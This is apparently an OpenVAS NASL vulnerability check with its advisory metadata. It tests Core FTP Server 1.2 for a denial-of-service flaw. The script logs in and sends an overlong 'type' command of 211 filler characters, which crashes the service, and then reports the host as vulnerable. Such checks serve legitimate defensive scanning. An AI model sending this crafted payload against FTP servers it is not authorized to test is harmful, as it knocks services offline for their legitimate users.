Core FTP Server 'Type' Command Remote Denial of Service Vulnerability

2012-03-05T00:00:00
ID OPENVAS:1361412562310802613
Type openvas
Reporter Copyright (C) 2012 Greenbone Networks GmbH
Modified 2020-03-24T00:00:00

Description

This host is running Core FTP Server and is prone to denial of service vulnerability.

                                        
                                            ###############################################################################
# OpenVAS Vulnerability Test
#
# Core FTP Server 'Type' Command Remote Denial of Service Vulnerability
#
# Authors:
# Sooraj KS <kssooraj@secpod.com>
#
# Copyright:
# Copyright (C) 2012 Greenbone Networks GmbH, http://www.greenbone.net
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License version 2
# (or any later version), as published by the Free Software Foundation.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
###############################################################################

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.802613");
  script_version("2020-03-24T12:27:11+0000");
  script_tag(name:"cvss_base", value:"5.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:N/I:N/A:P");
  script_tag(name:"last_modification", value:"2020-03-24 12:27:11 +0000 (Tue, 24 Mar 2020)");
  script_tag(name:"creation_date", value:"2012-03-05 10:57:53 +0530 (Mon, 05 Mar 2012)");
  script_name("Core FTP Server 'Type' Command Remote Denial of Service Vulnerability");

  script_tag(name:"summary", value:"This host is running Core FTP Server and
  is prone to denial of service vulnerability.");

  script_tag(name:"vuldetect", value:"Send a crafted request and check whether
  it is able to crash the application or not.");

  script_tag(name:"insight", value:"The flaw is caused by an error when
  processing 'Type' command, which can be exploited to crash the FTP service
  by sending specially crafted FTP commands.");

  script_tag(name:"impact", value:"Successful exploitation will allow remote
  attackers to crash the affected application, denying service to legitimate users.");

  script_tag(name:"affected", value:"Core FTP Server 1.2 Build 422 and Core FTP
  Server 1.2 Build 587.");

  script_tag(name:"solution", value:"No known solution was made available
  for at least one year since the disclosure of this vulnerability. Likely none
  will be provided anymore. General solution options are to upgrade to a newer
  release, disable respective features, remove the product or replace the
  product by another one.");

  script_tag(name:"solution_type", value:"WillNotFix");

  script_tag(name:"qod_type", value:"remote_vul");

  script_xref(name:"URL", value:"http://www.1337day.com/exploits/17556");
  script_xref(name:"URL", value:"https://www.exploit-db.com/exploits/39797");

  script_category(ACT_DENIAL);
  script_copyright("Copyright (C) 2012 Greenbone Networks GmbH");
  script_family("FTP");
  script_dependencies("ftpserver_detect_type_nd_version.nasl");
  script_require_ports("Services/ftp", 21);
  script_mandatory_keys("ftp/core_ftp/detected");

  exit(0);
}

include("ftp_func.inc");
include("misc_func.inc");

ftpPort = ftp_get_port(default:21);
banner = ftp_get_banner(port:ftpPort);
if(! banner || "Core FTP Server" >!< banner){
  exit(0);
}

kb_creds = ftp_get_kb_creds();
user = kb_creds["login"];
pass = kb_creds["pass"];

exploit = "type " + crap(211);

for (i = 0; i < 3; i++)
{
  soc = open_sock_tcp(ftpPort);
  if(! soc){
    exit(0);
  }

  login_details = ftp_log_in(socket:soc, user:user, pass:pass);
  if(! login_details)
  {
    ftp_close(socket:soc);
    exit(0);
  }

  ftp_send_cmd(socket:soc, cmd:exploit);
  ftp_close(socket:soc);
  sleep(1);

  soc1 = open_sock_tcp(ftpPort);
  if(! soc1)
  {
    security_message(ftpPort);
    exit(0);
  }

  ## Some time server will be listening, but won't respond
  banner =  recv(socket:soc1, length:512);
  if(! banner || "Core FTP Server" >!< banner)
  {
    security_message(ftpPort);
    ftp_close(socket:soc1);
    exit(0);
  }
  ftp_close(socket:soc1);
}